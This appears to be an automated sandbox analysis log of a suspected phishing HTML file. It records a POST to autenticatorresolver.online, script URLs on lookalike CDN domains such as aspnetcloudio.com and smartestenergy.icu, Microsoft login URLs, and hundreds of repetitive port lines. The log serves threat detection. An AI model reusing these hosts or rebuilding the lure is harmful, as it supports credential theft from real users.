HTTP traffic detected: POST /fwd/api HTTP/1.1Host: autenticatorresolver.onlineConnection: keep-aliveContent-Length: 383sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: */*Origin: https://autenticatorresolver.onlineSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://autenticatorresolver.online/fl/m6kgte57Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: Technical Details & Profile Illustrations for This#U00a0Drygair.html	String found in binary or memory: https://ajax.aspnetcloudio.com/ajax/bootstrap/5.2.3/css/bootstrap-reboot.css
Source: Technical Details & Profile Illustrations for This#U00a0Drygair.html	String found in binary or memory: https://ajax.aspnetcloudio.com/ajax/hammer.js/2.0.4/hammer.js
Source: Technical Details & Profile Illustrations for This#U00a0Drygair.html	String found in binary or memory: https://ajax.aspnetcloudio.com/ajax/knockout/knockout-3.1.0.js
Source: Technical Details & Profile Illustrations for This#U00a0Drygair.html	String found in binary or memory: https://ajax.aspnetcloudio.com/ajax/mvc/5.2.3/jquery.validate.unobtrusive.js
Source: Technical Details & Profile Illustrations for This#U00a0Drygair.html	String found in binary or memory: https://ajax.aspnetcloudio.com/ajax/signalr/jquery.signalr-1.0.1.min.js
Source: Technical Details & Profile Illustrations for This#U00a0Drygair.html	String found in binary or memory: https://cloudio.smartestenergy.icu/hustines/luketurg/runever.js
Source: chromecache_104.4.dr, chromecache_117.4.dr, chromecache_134.4.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_104.4.dr, chromecache_117.4.dr, chromecache_134.4.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_104.4.dr, chromecache_134.4.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_122.4.dr, chromecache_145.4.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_122.4.dr, chromecache_145.4.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
